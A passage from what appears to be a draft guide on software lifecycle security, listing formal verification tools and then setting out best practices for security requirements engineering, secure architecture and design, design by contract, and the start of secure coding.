<td>BLAST</td>
<td>Model checker</td>
<td>UC-Berkeley</td>
</tr>
<tr>
<td>ESC Java 2</td>
<td>Theorem prover and static analysis tool</td>
<td>Kind Software</td>
</tr>
<tr>
<td>FMF</td>
<td>Model checker</td>
<td>NASA JPL (component of the SSAI, see Section 4.1.1.5.1)</td>
</tr>
<tr>
<td>GrAnDe</td>
<td>Theorem Prover</td>
<td>University of Miami</td>
</tr>
<tr>
<td>INKA</td>
<td>Theorem prover</td>
<td>German Research Center for Artificial Intelligence</td>
</tr>
<tr>
<td>Isabelle; HOL Theorem Prover</td>
<td>Theorem provers</td>
<td>Cambridge University (UK)</td>
</tr>
<tr>
<td>Java Pathfinder</td>
<td>Model checker</td>
<td>NASA Ames</td>
</tr>
<tr>
<td>Murphi</td>
<td>Model checker</td>
<td>Stanford University</td>
</tr>
<tr>
<td>Nuprl</td>
<td>Theorem prover</td>
<td>Cornell University</td>
</tr>
<tr>
<td>NuSMV</td>
<td>Model checker</td>
<td>Istituto Trentino di Cultura-Il centro per la Ricerca Scientifica e Tecnologica (ITC-IRST), CMU, University of Genova, and University of Trento</td>
</tr>
<tr>
<td>OFMC</td>
<td>Model checker</td>
<td>Swiss Federal Institute of Technology Zurich</td>
</tr>
<tr>
<td>PBT</td>
<td>Property-based tester</td>
<td>NASA JPL (component of the SSAI, see Section 4.1.1.5.1)</td>
</tr>
<tr>
<td>PREfix, PREsharp</td>
<td>Compile-time static analysis tools</td>
<td>Microsoft</td>
</tr>
<tr>
<td>PolySpace</td>
<td>Compile-time static analysis tool</td>
<td>Polyspace Technologies</td>
</tr>
<tr>
<td>PVS</td>
<td>Model checker</td>
<td>SRI International</td>
</tr>
<tr>
<td>ROSE Model Checker</td>
<td>Model checker</td>
<td>International Business Machines (IBM)/Rational</td>
</tr>
<tr>
<td>Solibri Model Checker</td>
<td>Model checker</td>
<td>Solibri, Inc.</td>
</tr>
<tr>
<td>SPIN (and variants)</td>
<td>Model checker</td>
<td>American Telephone and Telegraph (AT&amp;T) Bell Laboratories</td>
</tr>
<tr>
<td>Static Driver Verifier</td>
<td>Static analysis tool</td>
<td>Microsoft</td>
</tr>
<tr>
<td>TLC</td>
<td>Model checker</td>
<td>Microsoft (as a model checker for TLA+)</td>
</tr>
<tr>
<td>zChaff</td>
<td>Theorem prover</td>
<td>Princeton University</td>
</tr>
</tbody>
</table>
5. IN THE MEANWHILE: BEST PRACTICES TO ADOPT SOONER RATHER THAN LATER

In Writing Secure Code (see Appendix B), Michael Howard and David LeBlanc state:

“To better focus on security...add process improvements at every step of the software development lifecycle, regardless of the lifecycle model [in] use.” They go on to say that “simply adding some ‘good ideas’ or a handful of ‘best practices’ and checklists to a poor development process will result in only marginally more secure [software].”

This caveat notwithstanding, any strategy for security enhancing the software development lifecycle should have as its ultimate goal the establishment of a repeatable lifecycle process and supporting software development methodology (or methodologies) that have been tailored to address security issues. The move towards more secure software shouldn’t wait until that ultimate goal is reached. There are “good ideas” and “best practices” that, while they will certainly not achieve completely secure software, when tactically inserted into current lifecycle activities, regardless of process model or methodology being used (or in the absence of either), will enable developers to begin seeing at least some modest improvements in the software they produce.

The best practices described in this section are intended to be used as intermediate steps on the evolutionary path towards the ultimate goal of establishing a repeatable, disciplined security-enhanced lifecycle process.

The following practical suggestions for improving the security of development practices throughout the lifecycle are intended to be implemented in the short term to start improving the security of software, until a more formal secure development process and supporting methodologies are adopted in the longer term.

5.1. Software Security Requirements Engineering

In their paper, “Core Security Requirements Artifacts” (available on the BuildSecurityIn portal; see Appendix B), Moffett, Haley, and Nuseibeh observe that, “Although security requirements engineering has recently attracted increasing attention, ...there is no satisfactory integration of security requirements engineering into requirements engineering as a whole.” The authors go on to study a process by which software security requirements were decomposed, through several risk analysis and modeling steps, from a system-level statement of system security needs or goals.

Software security requirements must be regarded as part of the overall systems engineering problem, and not in isolation. Security goals, unlike functional goals, cannot be discharged by the one-time specification of a function or constraint. Security must be considered at every iteration of the development lifecycle.

It is critical that the software’s security requirements be as complete as possible. To accomplish this, it is first important to establish a complete and accurate statement of the system-level security needs and goals. If all of those goals are explicitly addressed during the process of decomposing the security requirements for the software, completeness of those requirements is more likely.

To avoid inconsistent or inaccurate specification of security requirements, the first step in the requirements process should be for the system’s stakeholders to come to agreement on the definitions of key terms, such as confidentiality, availability, integrity, recovery, restricted access, etc.

Elicitation of requirements from the stakeholders should involve direct communication, e.g., structured interviews, but is likely to also involve reviews of artifacts provided or indicated by the stakeholders. In the case of security, such artifacts are likely to include organizational security policies, standards, etc., which may have to be carefully interpreted to understand their specific implications for software. For example, requirements pertaining to the authentication, authorization, and accountability of users may need to be understood in the
context not only of human users, but of software entities (processes, web services) that act as “users” within a
distributed software system or service oriented architecture. Factors to consider in the elicitation/capture of
security requirements include:

- **Deriving interpreted requirements from stakeholder sources**: Sources could be from policy, laws,
  standards, guidelines, or best practices documents.

- **Risk assessment of the functional requirements specification**: This initial risk analysis should form an
  important source of security requirements for the system.

- **Need for definition of the security context for the operation of the software**: Specifically, this means
  developing a threat model and an attacker profile, in order to understand the security context provided by
  the environment in which the software will operate.

- **Risks associated with risk assessments**: For example, when considering probabilities of attacks, metrics
  which can have wide variances, it is necessary to recognize that over the life of the software, there may be
  significant changes in the threat environment, in terms of the types of attacks to which the software will
  be subject, and the probabilities of those attacks. For this reason, use of detailed attack information in the
  risk analysis could render that specific analysis obsolete very quickly, which could then adversely affect
  the quality of the security requirements and design. Moreover, the usual approach to dealing with
  expected cost of failure, i.e., \( \text{expected loss} = (\text{loss}) \times (\text{probability of the event}) \) is not valid for events with
  low probability but significant consequences. Many intentional attacks on software are exactly this type
  of event.

A key determination to be made through the risk assessment is the required level of assurance the application
must demonstrate, given the level of risk to which it will be exposed. This assurance level will then be used to
inform the criteria for selecting the components, interface techniques, and security protections that will be used in
the application. A discussion of design and security assurance appears in Section 5.2.3.6.

Requirements elicitation methods such as Joint Application Design (or Development) (JAD) and NASA’s
Automated Requirements Measurement (ARM) can be used to augment structured interviews, threat modeling,
and development of attack trees and misuse cases to determine an accurate, comprehensive set of security
requirements for software. Links to information on JAD and ARM are provided in Appendix B, along with
resources on risk assessment associated with software requirements and design specification.

The requirements engineering activities within CLASP (see Section 4.3.2.2) are specifically geared towards the
specification of requirements for secure software systems.

A specific software requirements methodology that has been cited as useful when specifying requirements for
secure software systems is Software Cost Reduction (SCR) developed by the U.S. Naval Research Laboratory
(NRL). The SCR toolset contains tools for specifying, debugging, and verifying system and software
requirements. These tools have proved useful in detecting errors involving safety properties in software
specifications for the International Space Station, a military flight guidance system, and a U.S. weapons system.
More recently, researchers at NRL applied the SCR toolset to the specifications of requirements involving
security properties. Their findings indicated that that SCR was very helpful in refinement and verification of the
requirements specification, but significantly less so in the initial capture and correct formulation of those
requirements. Nor did the toolset provide much support for test case generation to enable source code validation
based on specification-based testing.

Two systems requirements engineering methods may also prove adaptable to the problem of software security
requirements engineering. The first is the System Quality Requirements Engineering (SQUARE) methodology, a
nine-step process developed by Professor Nancy Mead of the CMU SEI to capture requirements associated with
safety and survivability in IT systems and applications. The methodology explicitly addresses the need to capture
and validate the safety and security goals of the system, and involves development of use cases, but also misuse
cases and attack trees. SQUARE also provides for prioritization and categorization of safety and security
requirements, cost and impact analyses, and budgeting. While SQUARE defines nine steps, it is inherently
flexible enough to allow steps to be “lumped together”, as has been demonstrated by SEI’s own use of the
methodology. SQUARE promotes ongoing communication with the software’s stakeholders to ensure that their
needs/goals are accurately reflected in the prioritized, categorized requirements that result.

The second methodology, REVEAL (Requirements Engineering Verification and Validation), was developed by
Praxis High Integrity Systems, is the result of Praxis’ attempts at applying requirements engineering to the
development of critical systems. According to Praxis, REVEAL reflects their recognition that elements of
requirements engineering permeate throughout the development lifecycle, because requirements evolve and
change as the system is developed. Requirements capture (revision of existing requirements and capture of new
requirements), then, must be integrated with key design decisions and tradeoffs, safety and security analyses.
REVEAL is also integrated with project management and systems engineering activities.

Links to further information on SCR, SQUARE, and REVEAL can be found in Appendix B.

5.1.1. Requirements for Security Properties and Attributes vs. Security Functions

Functional security requirements are by and large, though not exclusively, constraints on how the software’s
functionality is allowed to operate. For example, a software security requirement correlating to the functional
requirement “the software shall accept the user’s input” might be “the software shall authenticate the user before
accepting the user’s input”. Similarly, the security requirement correlating to the functional requirement “the
software shall transmit the data over a network socket” could be “the software shall call its encryption process to
encrypt the data before transmitting that data over a network socket”.

Security properties and attributes, by contrast, are either constraints on the behavior of the software as it performs
its functions, e.g., “the software shall not write to memory any input that has not passed the software’s input
validation function”); or they may be more general constraints on the software’s design or implementation
characteristics, e.g., “the software shall contain no functions other than those explicitly specified”, or “any
unspecified function present in the application must be completely isolated and contained so that it cannot be
inadvertently executed”, or “the software will contain no covert channels”.

NOTE: Because it would likely prove unrealistic to verify satisfaction of the requirement that “the software
shall contain no functions other than those explicitly specified” in software has integrated or assembled from
acquired or reused components, for such software it would be more practical to specify “the software must
perform no functions other than those explicitly specified”.

Most requirements for software security combine security functions and security properties or attributes. For
example, the nonfunctional requirement that “the software shall be able to recognize the pattern of inputs
associated with denial of service attacks” would be coupled with the functional security requirement that “the
software shall validate all inputs”.
5.1.2. Analysis of Software Security Requirements

Analysis of the requirements specification should include:

1. **Internal analysis**, or verification, to determine whether the requirements for the software’s security properties and attributes are complete, correct, and consistent with the other security requirements, and with the functional, safety, performance, etc., requirements of the software. Obviously, the need for requirements verification is not limited to security requirements.

2. **External analysis**, or validation, to answer the following questions:

   a. Do the software’s security requirements adequately reflect applicable stakeholder sources (e.g., laws, standards, guidelines, and best practices)?

   b. Are the security requirements a valid refinement of the system security goals? Are there any defects in the software security requirements that are in conflict with the system’s security goals?

The objective of the requirements analysis is to produce a set of reconciled security requirements for the software that will then be added to the software requirements specification, and captured in its requirements traceability matrix; requirements “discarded” during the conflict resolution should also be documented in order to explain their omission to stakeholders. The requirements traceability matrix should be augmented with a dependency matrix that illustrates all associations between the software’s security requirements and its other requirements.

The review team for the requirements specification should include a security analyst/engineer to ensure that all necessary security requirements are captured and documented clearly, paying special attention to capturing nonfunctional requirements for the software’s security properties and attributes. These may include a requirement that the software must be able to resist entering any state that will leave it vulnerable to attack, with associated functional requirements, such as the software must validate the length and format of all input to ensure that the input conforms with required ranges and values, the software must perform specific functions when it detects patterns associated with specific exceptions and errors, the software must perform an orderly shut down if it cannot isolate itself from the source of bad input, etc.

Before the requirements analysis begins, the requirements specification to be reviewed should be checked into the Configuration Management (CM) system and designated as the “baseline”. Any modifications required as a result of review findings can then be applied to the baseline. This approach will minimize the likelihood of a rogue developer being able to delete requirements or insert malicious requirements into the specification, since it will be easy to compare the pre-analysis baseline specification against the post-analysis revision.

The security requirements for the software should emerge from the results of the initial risk analysis (including threat modeling and vulnerability assessment) of the software’s initial functional and interface requirements and Concept of Operations (CONOPS). Additional security requirements may be identified, and existing requirements modified, based on iterative risk analyses later in the software development lifecycle.

The software’s security requirements will act as constraints on its design. Risk management throughout the remainder of the lifecycle will focus on iteratively re-verifying and adjusting the understanding of the baseline risk analysis, and on verifying the adequacy, in terms of minimizing assessed risk to an acceptable level, of the emerging software system’s security properties and attributes and associated functionalities. During unit, integration, and system testing, specifically, the implementation of the software (individual components, system subsets, and whole system) should be checked against the relevant security requirements to verify that the software satisfied its requirements and that it adequately mitigates identified risks. For high assurance and high confidence software, more comprehensive analyses, including inspections and peer reviews, of the security requirements can more accurately determine whether the desired security properties/attributes have been captured in a way that is both clear and able to be implemented by the developer. It may be desirable to express the
requirements in an executable specification language to enable the analyst to exercise the security requirements to
ensure they both match their intent and are realistic.

Automated checks can be useful in determining whether the stated requirements are internally consistent, as well
as complete in terms of achieving the software’s security objectives (e.g., to comply with security policy, to
counter likely threats, to minimize risk to an acceptable level).

5.2. Architecture and Design of Secure Software

Once the requirements specification has been analyzed to determine the security properties and attributes that the
software must possess and the associated security functions that it must perform, the secure application
architecture should be developed to reveal and depict any overlaps of security properties/attributes among
individual components, and to capture “fall backs” in the case of a compromise of any of a given component’s
security properties, attributes, or functions that are relied on by other components.

The software architecture should include countermeasures to compensate for vulnerabilities or inadequate
assurance in individual components or intercomponent interfaces. For example, the architecture for an application
integrated from acquired or reused components may include a wrapper to filter excessively long input on behalf of
a component written in C or C++ that does not perform its own range checking.

A secure architecture and high-level design are crucial to the correct detailed specification of the means by which
the software will implement its required security functions and manifest its required security properties and
attributes. An omission or error in the software architecture that is iterated into its detailed design and
implementation may introduce vulnerabilities that will be both more difficult to assess after the software has been
implemented, and more expensive to resolve during the later lifecycle phases.

5.2.1. Secure Architecture vs. Security Architecture

Note that we refer to a secure architecture rather than a security architecture. The traditional security architecture
deals with system-level issues such as security perimeters, security zones, access control, and authorization. The
original purpose of the separate security architecture was to compartmentalize the system in order to simplify
making assumptions about threats, networks, hardware, users, etc.

With the increased connectivity and integration of systems, this purpose is becoming increasingly difficult to
accomplish. The ideal would be to abandon the traditional security architecture because security is so deeply
embedded within the application architecture and system architecture.

For software, the main architectural security issue is how well the software architecture satisfies the software’s
specified security requirements, both functional and nonfunctional. The goal, then, should not be to create a
separate security architecture, but instead to verify that the overall software architecture displays all of the
necessary security properties and attributes, and includes all of the necessary security functionalities, that will
ensure the software’s attack resistance and attack resilience.

Modeling of the software’s secure architecture should encompass the software’s own components as well as the
security constraints and protections afforded by its execution environment (e.g., virtual machines, middleware
sandboxes, operating system access controls, framework code security functions, etc.).

5.2.2. Software Security Modeling

Security models are abstractions that enable engineers to more clearly and simply express the security properties
and attributes and areas of risk in the software, and to try out different variations and combinations of component
security properties, attributes, and functions in order to assess their effectiveness in addressing those risk areas.
Security modeling will help identify and specify the design patterns for the security functions of the software by organizing and decomposing the whole software system into manageable, comprehensible parts.

Modeling frameworks can be helpful for capturing the architectural patterns that specify the structure and security-relevant behaviors of the whole software system, while collaboration frameworks are similarly helpful for capturing the design patterns that specify the sets of abstractions that work together to carry out common security-relevant behaviors. Software security modeling enables the developer to:

- Anticipate the security-relevant behaviors of the individual software components, behaviors related to the interactions among components, behaviors of the whole system as it interacts with external application-level and environment-level entities.

- Identify software functions that may need to be modified or constrained, and intercomponent interfaces that may need to be filtered or protected.

- Detect errors and omissions in the assumptions that informed the software requirements, architecture, and design in order to make necessary adjustments to the design before implementation begins;

- Identify known vulnerabilities and failure modes in the software and architectural-level countermeasures to ensure that the most vulnerable components cannot be compromised or exploited;

- Verify the security properties and attributes of all components;

- Identify conflicts between any component’s expectations of the security properties, attributes, or services of any other component, and try out alternative integration/assembly options to eliminate those conflicts;

- Identify conflicts between the individual components’ assumptions and the whole system’s assumptions about the execution environment security properties, attributes, services, and protections, again enabling the exercise of alternative integration/assembly options, and the identification of needed countermeasures to mitigate and constrain the impacts of irresolvable conflicts;

- Analyze the security implications of different architectural, design, and implementation decisions for software in development;

- Analyze the security implications of new or changed stakeholder requirements or threat models for software in development or deployment;

- Analyze the security impacts of software updates (including patches and new versions) or substitutions for software in deployment;

- Determine the distribution and interactions of the security functions within the software system, and the interactions of those functions with entities external to the system, with the main objective being to reveal any conflicts between the “as desired” (architectural) security functions the and “as implemented” security functions so as to make necessary adjustments to the software risk analysis.

- For software to be assembled or integrated from components, verify that the individual components behave consistently and ensure that certain end-to-end security properties and attributes are consistently demonstrated by the components in interoperating in the integrated software system. One critical property, for example, is whether the operation of the system as a whole conforms with the relevant security policy. Another is the ability of the application to resist and recover from attacks.

The software’s security models should be revalidated at each phase of the lifecycle to account for changes iterated back into an earlier lifecycle phase’s artifacts necessitated by discoveries made during a subsequent phase. For
example, changes may be needed in the software architecture to reflect adjustments to the detailed design made
during the implementation phase to address difficulties implementing the original design.

Various modeling methods can be used to reveal component and whole-system security properties and attributes,
and to provide the basis for comparing the attack surfaces of similar components under evaluation. Some
modeling methods that can be adapted to security modeling were discussed in Section 4.3.3.

5.2.3. Security in the Software’s Detailed Design

Design decisions require tradeoffs between security and other desirable attributes such as usability, reliability,
interoperability, performance, backward compatibility, cost-effectiveness, etc. A design that minimizes the
software’s exposure to external threats may also hinder required interactions between the software and any
external services or users. Designing software to be secure sometimes seems like an exercise in managing
complexity. In fact, most software security defects have causes that are simple, straightforward, well understood,
and easy to prevent in the software’s design and to detect during testing. Designing for security means designing
software that is able to:

- Proactively detect and prevent attacks that may lead to compromises;
- Reactively minimize (isolate and constrain) the impacts of attacks that do succeed, and terminate or block
  access by their suspected causing actor to the software.

Mechanisms such as fail-safe design, self-testing, exception handling, warnings to administrators or users, and
self-reconfigurations should be designed into the software itself, while execution environment security
mechanisms such as application-level firewalls, intrusion detection systems, virtual machines, and security
kernels can add a layer of “defense in depth” by filtering or blocking input to the software, monitoring network
traffic for relevant attack patterns, and performing other resistance and resilience functions in aid of the software’s
own security.

Increasingly, security mechanisms are designed as self-contained components or subsystems external to and
called by software applications. The compartmentalization of design, with the software’s security logic separated
from its other functional logic simplifies both the development of the software as a whole, and the assurance
verification of its security functions.

The detailed design specification should include a detailed description of how each requirement pertaining to a
security property or attribute will be accomplished through the combination of associated security functions
(including control functions and protection functions), what the interfaces of those functions are, and what inputs
and outputs they must process. For example, a requirement that the software not be able to enter a vulnerable state
would be expressed in the design by including a function to perform input validations check input to ensure it
contains no patterns or errors that could trigger a fault (such as a buffer overflow) that would force the software to
enter an insecure state.

Once completed, the security architecture and design specification should be analyzed to confirm that they satisfy
the specified security requirements. Ensuring that the security architecture and design map directly to the
software’s security requirements specification will make it easier to identify exploitable defects and insecure
behaviors early in the lifecycle, and will facilitate proactive changes and tradeoffs at the architecture or design
level that can prevent, or at least minimize and constrain the impact of, the exploitation of those defects and
insecure behaviors. Addressing such problems early in the lifecycle is far less expensive than waiting to observe
compromises caused by simulated attacks against the application during penetration and fault injection testing or
post-deployment vulnerability scanning, at which point they can only be addressed reactively through patching,
awkward workarounds, or by disabling the insecure portions of the software until the defects can be remedied.
If the software is to be deployed in multiple execution environments with different robustness levels, the detailed design should be flexible enough to allow for the application to be reconfigured and, if necessary, re-implemented to accommodate unavoidable substitutions, exclusions, or (in some environments) additions of environment-level security mechanisms and protections relied on by the software for defense in depth. In addition, the software’s architecture and design should include enough self-protecting characteristics to compensate for lack of environment-level protections in less robust execution environments, in order to maintain at least an acceptable minimum level of attack resilience and attack resistance in the software itself.

In environments in which security policies change frequently, or in which the software may need to support multiple security policies, the design should delay the binding of security decisions, whenever possible implementing those decisions as installation-time or runtime configuration options, rather than “hard-wiring” them in the software’s source code.

The application’s design specification should include a set of hierarchical diagrams and possibly pseudocode (at least for from-scratch software) depicting the modules that will implement the security functions that will assure its required security properties and attributes. This information should be comprehensive and sufficiently detailed so as to enable skilled developers to implement these functions with minimal additional guidance.

If the software is to be implemented through assembly or integration, all of the different candidate design options for the application’s components should be documented in the design document. These design options should then be exercised as part of the selection process for the acquired or reused components, in order to determine which specific set of components and which particular configuration of those components best satisfies the whole system requirements, including security requirements. The elements of the design to be satisfied using acquired or reused software will form the basis for defining the set of evaluation criteria, including security evaluation criteria, for selecting those components.

Before submitting it for review, the design specification should undergo a thorough risk analysis by a security analyst on the design review team. The risk analysis should determine whether the security aspects of the design are coherent, and whether all of the software’s specified security property/attribute and associated functional requirements have been satisfied. The requirements traceability matrix should be updated at this phase to reflect any changes in the security elements of the application that may have emerged during the design review.

Before each design review begins, design documentation and pseudocode to be reviewed should be checked into the CM system and designated as the “baseline”. Any modifications required as a result of review findings can then be applied to the baseline. This approach will minimize the likelihood of a rogue developer being able to incorporate intentional defects into the design, since it will be easy to compare the baseline design against the modified design. See Section 5.7.1 for more information on secure configuration management.

The following sections describe some specific principles that should be considered in order to achieve a more secure software design.

5.2.3.1. Isolation of Trusted Functions

Trusted functions should be placed in separate modules that are simple, precise, and verified to operate correctly. Such modules—even small ad hoc scripts—should not rely on any global state, as such a reliance increases complexity and reduces the ability to easily trace the trusted module’s flow of control. Only precisely defined interfaces should be used for communication between trusted and untrusted modules. These interfaces should not directly reference any internal variables.
5.2.3.2. Avoidance of High-Risk Services, Protocols, and Technologies

Services, protocols, and technologies (as well as specific products) that are frequently the topic of vulnerability and bug reports, newsgroups, mailing lists, blogs, etc., should never be used in an application without security countermeasures that can be positively verified to constrain or prevent the risky behaviors of those services/protocols/technologies.

The truism “where there’s smoke, there’s fire” is particularly true for software with vulnerabilities that are frequently publicized. Even if the software’s supplier is able to (seemingly) produce a continuous stream of security patches for that software, unless absolutely no more secure alternative exists, why would any developer or software project manager want to take on the triple headache of intensive patch management, risk management, and configuration control that such insecure software is going to require throughout the lifetime of the application in which it is used?

In those instances in which a high-risk service, protocol, or component is absolutely required and no lower-risk alternative exists, the application must be designed to limit the potential impact on the application’s security if (when) the insecure service/protocol/technology misbehaves or is compromised. Noninterference, containment, and filtering mechanisms such as security wrappers, constrained execution environments, and application firewalls are some of the countermeasures that may prove effective for this purpose.

The risks of mobile code and mobile agent technologies are particularly nebulous at this stage. Both industry best practices and many government agencies’ security policies limit application developers to using only “approved” mobile code technologies. These approved technologies are generally those that introduce only a low level of risk to the application and its environment, often because they run within a virtual machine that constrains their behavior. Even lower-risk mobile code technologies are often required to be used only in conjunction with code signatures, i.e., the mobile code program (e.g., Java applet) is digitally signed in order to indicate that it originated from a trusted source. The recipient of the code validates the code signature, and if the source is recognized and trusted, the code is executed; otherwise it is discarded.

Unfortunately, code signing is not yet universally supported. Nor does code signing really solve the problem of preventing malicious or otherwise insecure mobile code from being executed, as a determined malfeasant could always subvert the code signature process in order to sign mobile code that contains malicious or otherwise insecure logic.

5.2.3.3. Simple User Interfaces to Sensitive Functions

User interfaces to all functions should always be as simple and intuitive as possible, but such simplicity and intuitiveness is critical for user interfaces to security functions and other trusted functions, such as those that implement user identification and authorization, user registration, user-initiated digital signature or encryption, or user configuration of application security parameters. Intuitive, easy to use interfaces will reduce the likelihood that users will make mistakes in using these security/trusted functions.

Poorly designed user interfaces make it easier for the user to choose an insecure configuration default than to set up secure configuration parameters. Poorly designed interfaces increase the likelihood that users will try to shut off or bypass security functions. For this reason, all user interfaces to trusted and security functions should be non-bypassable, to prevent resourceful users from easily “getting around” the user interface to directly access sensitive data used or updated by the application, or to directly invoke the application’s trusted functions (e.g., via a system shell or other command line interface).

User interfaces that accept data, such as HyperText Markup Language (HTML) or eXtensible HyperText Markup Language (XHTML) forms, should be designed to limit the size and format of data that a user can enter, especially if the application receiving that data includes C or C++ code or runtime libraries. This is true especially if the code/libraries have not been verified to be free of buffer overflow vulnerabilities. Pre-validation of input on
the client can help guide the user in entering correctly formatted, bounded data, and in filtering out potentially overflow-inducing input.

The trouble is that client-side input validation can be easily bypassed by a resourceful user, and even valid client-originated data may be tampered with in transit to the server. For this reason, client-side input validation does not override the need for thorough server-side input validation. Client-side input validation should be seen as having one very specific goal—to help the user correctly use the interface while possibly reducing server workload due to erroneous data. However, all server-side interfaces must be designed and implemented as if there was no client-side input validation whatsoever.

The user interfaces of the application’s trusted and security functions should be prototyped early in the development lifecycle, and that prototype demonstrated to the application’s intended users, ideally with their hands-on participation. This demonstration serves both to educate the users in what they will or will not be allowed to do when they use the application, and to get their feedback on how intrusive, confusing, or difficult they may find the interfaces to be.

The results of this demonstration should be compared against the requirements for the interfaces, to determine whether any of the users’ negative feedback reflects a failure of the interface in question to satisfy its specification. Analysis of the demonstration findings should also determine whether the interfaces encourage appropriate user behaviors, and should ensure that they prevent unauthorized behaviors.

For any acquired or reused software that performs a security/trusted function or sets up the application’s security configuration, the intuitiveness and ease of use of the user interfaces should be an evaluation criterion.

5.2.3.4. Elimination of Unnecessary Functionality

Applications, including those assembled from acquired or reused software, should contain only those functions they require to accomplish their processing objectives. Similarly, the runtime environment should contain only those software libraries, routines, etc., that are explicitly called by the application.

Even function, routine, or library that “could prove useful at some later date” should be eliminated until that later date arrives. Such elements too often provide attackers with exploitable entry points into the application. Also, because “dormant” functions are not expected to be used, the administrator who configures the application’s logging/auditing or intrusion detection may overlook them, enabling an attacker who does manage to exploit them to go undetected. There are tools available that help the developer navigate through source code trees to detect dormant functions that are never invoked during execution.

For acquired or reused software, elimination of unused functions will require either removing that functionality (this may be a possibility with open source software), or completely disabling or isolating the “dormant code” to prevent the unused functions from being either intentionally invoked or accidentally triggered by users of or processes that interface with the software product within the assembled application.

However, when a function in a commercial or open source is not used in the application, it should still be assiduously patched and maintained. Even if a patch or update affects only the software’s “dormant” function it should be applied. This will reduce the likelihood that, if the function is activated at a later date, it will contain security vulnerabilities.

5.2.3.5. Design for Availability

Several software fault tolerance methods have been proven to improve program robustness and may also prove helpful in improving program resistance to intentional denial of service (DoS) attacks. These methods include:
• **Simplicity:** Even if avoiding complexity in individual software products is not practical, simplicity can be achieved at a higher level. The design option used to integrate/assemble the individual applications into a whole application system, i.e., the application’s architecture and design, should explicitly minimize complexity. Each product should have a single input path as few output paths as possible. Acquired or reused software should be configured with all features/functions not used in the application disabled (or “turned off”). In addition, the interfaces that trigger the execution of a specific function within the application should never cause that function to behave insecurely or unsafely.

• **Graceful degradation:** In many cases, to remain available in the face of a DoS attack, software will need to alter its operation to a degraded state. Graceful degradation ensures that when an intentionally-induced fault condition occurs, the software doesn’t immediately shut down (or crash), but instead continues to operate in a reduced or restricted manner. In the case of critical or trusted functions, individual degradation or shut down may not be acceptable. In such cases, the orderly shutdown of the whole application should be initiated as soon as a fault in one of those functions is detected.

• **Redundancy:** Availability of a critical component is most often achieved by deploying redundant copies or instantiations of that component on different physical hosts. This helps ensure that an attack on a given copy/instantiation of on one host will not impact availability of the component to the application as a whole, and thus the availability of the application itself. Each critical software component should be designed so that if it is subjected to a DoS attack, it will implement automatic fail-over to a redundant copy/instantiation of the same component. In web applications and other session-oriented software programs, assured session fail-over is another factor that must be considered. Web applications can be designed to prevent users from experiencing transient data loss through the use of stateless rather than stateful data objects. The application should also be designed so that neither intentional performance degradation nor automated fail-over should cause the loss of the user sessions that are active at the time of the degradation or fail-over (this by contrast with not accepting new user session requests during such instances). Session fail-over must be designed into the application. An application that is correctly designed to fail-over both the user’s session and transient data will ensure that the user never experiences any interruption in service.

• **Diversity:** Reliance on redundancy alone, while it may be a good strategy for continuity of operations, will not achieve robustness against intentionally-induced failures for the same reason that simply breeding more hemophiliacs will not increase the amount of clotting factor in any of their bloodstreams. Unless the component that is multiplied to create redundancy is also inherently robust against DoS, the attacker (human or worm code) will simply be able to successfully target the backup components using the same attack strategy. Diversity combined with redundancy helps ensure that the backup component to which the software system fails over cannot be successfully attacked using the same attack strategy that brought down the failed component. Diversity can be achieved through practices such as n-version programming, reliance on standard interfaces rather than particular technologies, so that application components can distributed across different host platforms, and implementation of interface abstraction layers that make it easier to host multiple copies of the application on different platforms.

5.2.3.6. **Design for Assurance**

The choice of software, interface techniques, and protection techniques used in the design to satisfy the security requirements for the application must reflect the required level of assurance for assembly technique as demonstrated as it operates within the application. The common practice of using lower assurance software and techniques in applications that are subject to higher level risks creates a disconnect that will leave the application vulnerable. The appropriate approach is to use software and techniques that provide a level of assurance commensurate to the level of risk to which the application will be exposed in production.

DRAFT
The design can attempt to increase the assurance of the application overall, despite lower assurance in the individual software products, by augmenting the techniques in those software products with protections that result from the way in which the products are assembled, as well as through the use of isolation and constraint techniques (e.g., security zones, sandboxing) and filtering mechanisms (e.g., wrappers). However, if these “augmentations” fail to eliminate the vulnerabilities that arise from disconnects between software product assurance and application risk, it may be necessary to replace the lower assurance products and techniques with higher assurance alternatives (which may be more expensive). In software requiring high assurance, more of the components will likely be developed from scratch so as to avoid the vulnerabilities of acquired or reused components.

5.2.3.7. Design by Contract

In Java, the Design by Contract (DbC) feature enables the designer to express and enforce a contract between a piece of code (“callee”) and its caller. This contract specifies what the callee expects and what the caller can expect, for example, about what inputs will be passed to a method or what conditions that a particular class or method should always satisfy. DbC tools usually require the developer to incorporate contract information into comment tags, then to instrument the code with a special compiler to create assertion-like expressions out of the contract keywords. When the instrumented code is run, contract violations are typically sent to a monitor or logged to a file. The degree of program interference varies. The developer can often choose a range of monitoring options, including:

1. Non-intrusive monitoring in which problems are reported, but program execution is not affected;
2. Having the program throw an exception when a contract is violated;
3. Having the program perform a user-defined action when a contract is violated.

DbC can enforce security boundaries by ensuring that a software program never accepts inputs known to lead to security problems, or never enters a state known to compromise security. The developer can start creating an infrastructure that provides these safeguards by performing unit testing to determine which inputs and conditions would make the software program vulnerable to security breaches, then write contracts that explicitly forbid these inputs and conditions. The developer then configures program so that whenever the conditions specified in the contract are not satisfied, the code fires an exception and the requested action (for example, a method invocation) is not allowed to occur. When this infrastructure is developed after thorough unit testing, it provides a very effective last layer of defense.

5.3. Implementation of Secure Software

For software to be secure it must avoid defects in its implementation that introduce vulnerabilities regardless of whether the majority of development involves either from-scratch coding or integration/assembly of acquired or reused software components. For software built from scratch, achievement of security in the implementation phase will focus mainly on avoiding defects that manifest as vulnerabilities. Security in implementation of applications assembled or integrated from acquired or reused components will focus on implementing countermeasures and constraints to deal with known vulnerabilities in the individual components and their “plug-and-play” interfaces.

5.3.1. Coding from Scratch

Few if any applications are ever truly 100% coded from scratch, and even the very few that are will not be free of the influences and impacts of acquired or reused “enabling” software, such as application programmatic interfaces (APIs), compilers and debuggers, software developer kits (SDKs), integrated development environments (IDEs), plug-ins, programming languages, libraries, utilities, configuration management tools, operating systems, and firmware and hardware. Security for software coded from scratch, then, must focus not only on secure coding of
the software itself, but on ensuring that the software remains secure regardless of the acquired or reused software
entities to which it will be exposed during its development or deployment. Following are some specific “best
practices” for secure coding.

NOTE: The techniques and tools described for security-enhancing from-scratch coding practices are mainly
language-neutral unless explicitly stated to address language-specific security concerns. This document does
not discuss security issues associated with “obscure” or obsolete programming languages, assembler, or
hardware languages. All of the non-language-specific techniques and tools described in this document should
be beneficial for security-enhancing activities involved with coding from scratch, regardless of the language
used.

